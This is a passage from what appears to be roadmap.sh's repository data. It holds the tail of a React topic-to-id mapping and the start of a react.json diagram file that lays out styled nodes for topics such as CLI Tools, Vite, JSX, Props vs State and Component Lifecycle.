\"jvp43wFkKlGQX2y7IxkbM\",\n  \"state-management\": \"I7_mX4h-Yywp1YyTJRKXI\",\n  \"state-management:context\": \"10uL0r388lKh8pWYWqRZD\",\n  \"state-management:zustand\": \"nl5imPsdY2oEWlg-9TTuk\",\n  \"styling\": \"DfrCkbD-HEHwLymv10zb5\",\n  \"styling:tailwind\": \"KO3viVIJJREtxXxsocN7j\",\n  \"styling:chakra-ui\": \"uqphqAnlcJOLnwHZs5jWu\",\n  \"styling:css-modules\": \"awoEhwPKjUcR84XGL6Som\",\n  \"api-calls\": \"b4AP2OggxFAwsQtUwiUJJ\",\n  \"api-calls:apollo\": \"8nMbfGxe3STMbrAVcqHHh\",\n  \"api-calls:relay\": \"cLfM342sZfsCwmPPxQpEI\",\n  \"api-calls:urql\": \"9M5jRu0pj8KMvg9f-2oqZ\",\n  \"api-calls:swr\": \"-ea1KsXEyz-4voHXklG_J\",\n  \"api-calls:react-query\": \"5EPmbiNdP_vhIXclv_GjV\",\n  \"api-calls:axios\": \"ElqWQClryfSYdL7P_mgYK\",\n  \"api-calls:rtk-query\": \"h49-tjEkKcq7d7ikRHIOx\",\n  \"testing\": \"e_lwZ-a72-tAan2KDX6k3\",\n  \"testing:jest\": \"opa61u9gYgSpoPtxp58wu\",\n  \"testing:vitest\": \"LULjhsPNONyI5912DKzPw\",\n  \"testing:react-testing-library\": \"cQllxv7qGbRtM9O5llgN6\",\n  \"testing:cypress\": \"zN7Ps1puD-YpHbKi1pHH8\",\n  \"testing:playwright\": \"g39P0c6M2sHNoUPs0m8tr\",\n  \"frameworks\": \"W-atg_Msa9uPLr6RXAKSb\",\n  \"frameworks:remix\": \"-WjJBYCmRRj08n_9HxohY\",\n  \"frameworks:next-js\": \"HdWq9ue0JdwmwqSIN2OD_\",\n  \"forms\": \"KHcC5pFN3qLnsbPPKpYd2\",\n  \"forms:react-hook-form\": \"_5ht0PAdVOJWPzTRS1mVg\",\n  \"forms:formik\": \"gr1CaLvL7tFOkIRywSsID\",\n  \"suspense\": \"_F3WMxhzaK9F8_-zHDDMF\",\n  \"portals\": \"DcDggX4OmmwvJGHwuV86t\",\n  \"error-boundaries\": \"gMHMjsh0i8paLZUH5mDX3\",\n  \"mobile\": \"txARr3lgTvy-vJCj5zAb1\",\n  \"mobile:react-native\": \"NvXAq1vN2wpncdW-yTL4c\"\n}"
  },
  {
    "path": "src/data/roadmaps/react/react.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"-AKmITUmSGIflJG-eGkm5\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -334.6031392708364,\n        \"y\": 1216.976431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 353,\n      \"height\": 218,\n      \"style\": {\n        \"width\": 353,\n        \"height\": 218\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -334.6031392708364,\n        \"y\": 1216.976431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 353,\n        \"height\": 218\n      }\n    },\n    {\n      \"id\": \"NiyRDadVpAFMzSVtgoFZ0\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -387.02532545570534,\n        \"y\": 810.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"sL8hbjRDbzA2bc9OzIfPe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 72,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 72\n      },\n      \"positionAbsolute\": {\n        \"x\": -387.02532545570534,\n        \"y\": 810.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 72\n      }\n    },\n    {\n      \"id\": \"sL8hbjRDbzA2bc9OzIfPe\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -387.02532545570534,\n        \"y\": 889.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 149,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 149\n      },\n      \"positionAbsolute\": {\n        \"x\": -387.02532545570534,\n        \"y\": 889.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 149\n      }\n    },\n    {\n      \"id\": \"n1TuNyZjK9CLAfbKRQENe\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 91.54031453135002,\n        \"y\": 429.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 124,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 124\n      },\n      \"positionAbsolute\": {\n        \"x\": 91.54031453135002,\n        \"y\": 429.44433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"NeJdgNbsxiUjt_GBzub6Z\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -248.52532545570534,\n        \"y\": 274.94433023898546\n      },\n      \"width\": 248,\n      \"height\": 168,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 168\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -248.52532545570534,\n        \"y\": 274.94433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 168\n      }\n    },\n    {\n      \"id\": \"FkTj8n1pIAGa1nf93MUKC\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -5.525325455705342,\n        \"y\": 274.44433023898546\n      },\n      \"width\": 158,\n      \"height\": 155,\n      \"style\": {\n        \"width\": 158,\n        \"height\": 155\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -5.525325455705342,\n        \"y\": 274.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 155\n      }\n    },\n    {\n      \"id\": \"clS37EDia6KZVHCszqRqZ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 351.3414717224867,\n        \"y\": 235.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 84,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 84\n      },\n      \"positionAbsolute\": {\n        \"x\": 351.3414717224867,\n        \"y\": 235.94433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 84\n      }\n    },\n    {\n      \"id\": \"l4RmWQLIK1NOOm6QTQMBa\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -514.0253254557053,\n        \"y\": 262.94433023898546\n      },\n      \"width\": 235,\n      \"height\": 270,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 270\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.0253254557053,\n        \"y\": 262.94433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 270\n      }\n    },\n    {\n      \"width\": 117,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -49.45968546864998,\n        \"y\": -157.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -49.45968546864998,\n        \"y\": -157.76957062917046\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 64,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -1.4596854686499796,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -1.4596854686499796,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 64\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 364,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 364,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 161.49706098308326,\n        \"y\": 2056.1213007495107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": 161.49706098308326,\n        \"y\": 2056.1213007495107\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 427,\n      \"height\": 119,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -41.502939016916685,\n        \"y\": 1966.605335469083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -41.502939016916685,\n        \"y\": 1966.605335469083\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 427,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 427,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 206,\n      \"height\": 49,\n      \"id\": \"ZSrQoNGKiR484uALMWO9F\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 169.0448461352869,\n        \"y\": 2024.2946173807345\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript Roadmap\",\n        \"href\": \"https://roadmap.sh/typescript\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 169.0448461352869,\n        \"y\": 2024.2946173807345\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 195,\n      \"height\": 49,\n      \"id\": \"P5IZjP0g1_fnvHy3YTR4q\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -31.15582553598972,\n        \"y\": 2024.2946173807345\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend Roadmap\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -31.15582553598972,\n        \"y\": 2024.2946173807345\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -94.45968546864998,\n        \"y\": 114.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CLI Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -94.45968546864998,\n        \"y\": 114.94433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XDvH2t3AJGevS17uM8TO6\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -94.45968546864998,\n        \"y\": 2.944330238985458\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript Roadmap\",\n        \"href\": \"https://roadmap.sh/javascript\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"R_Fs6rdl2XtQ9aLOubMqL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -94.45968546864998,\n        \"y\": 2.944330238985458\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y9ToYDix-koRbR6FLydFw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 169.0448461352869,\n        \"y\": 114.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 169.0448461352869,\n        \"y\": 114.94433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XB1EQomsFGntZTofIfckn\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 169.0448461352869,\n        \"y\": -46.05566976101454\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make sure to learn the \\\"Beginner\\\" topics of the JavaScript roadmap before you start learning React.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#ffffff\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 364,\n      \"height\": 119,\n      \"style\": {\n        \"width\": 364,\n        \"height\": 119\n      },\n      \"positionAbsolute\": {\n        \"x\": 169.0448461352869,\n        \"y\": -46.05566976101454\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 119\n      }\n    },\n    {\n      \"id\": \"79K4xgljcoSHkCYI1D55O\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -94.45968546864998,\n        \"y\": 207.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0uiGsC5SWavNdlFqizkKe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -94.45968546864998,\n        \"y\": 207.44433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8mw4TxlLN4ZKAlLl-_NVV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.0253254557053,\n        \"y\": 207.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functional Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.0253254557053,\n        \"y\": 207.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h_o0LOSuwRvymWLF7IVj_\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -514.5253254557053,\n        \"y\": 0.944330238985458\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"There used to be \\\"Class Components\\\" which React doesn't recommend any more. You don't need to learn about them but you might still notice them in some legacy projects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#ffffff\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"XB1EQomsFGntZTofIfckn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 364,\n      \"height\": 162,\n      \"style\": {\n        \"width\": 364\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.5253254557053,\n        \"y\": 0.944330238985458\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 162\n      }\n    },\n    {\n      \"id\": \"HMTUjok_ZAcrP6YobWs3T\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -506.02532545570534,\n        \"y\": 489.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Component Basics\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 219\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.02532545570534,\n        \"y\": 489.94433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"WREBxWSNQDD_6fzpHL6CE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.02532545570534,\n        \"y\": 270.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JSX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.02532545570534,\n        \"y\": 270.94433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RFuy3Eho3mnW1GpP08BVw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.02532545570534,\n        \"y\": 323.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Props vs State\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.02532545570534,\n        \"y\": 323.94433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aE6XBgH23135_9QmD4ff2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.02532545570534,\n        \"y\": 376.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conditional Rendering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.02532545570534,\n        \"y\": 376.94433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4T59gdcwdXqj9kCuK7cfp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -506.02532545570534,\n        \"y\": 429.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Composition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -506.02532545570534,\n        \"y\": 429.94433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0uiGsC5SWavNdlFqizkKe\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 298.04484613528683,\n        \"y\": 207.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rendering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 130,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 298.04484613528683,\n        \"y\": 207.44433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8OBlgDRUg-CTgDXY-QHyO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 305.47467454429466,\n        \"y\": 278.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Component Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 305.47467454429466,\n        \"y\": 278.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HeWVCPHqVnnbOn6zIim4K\",\n      \"type\": \"subtopic\",\n      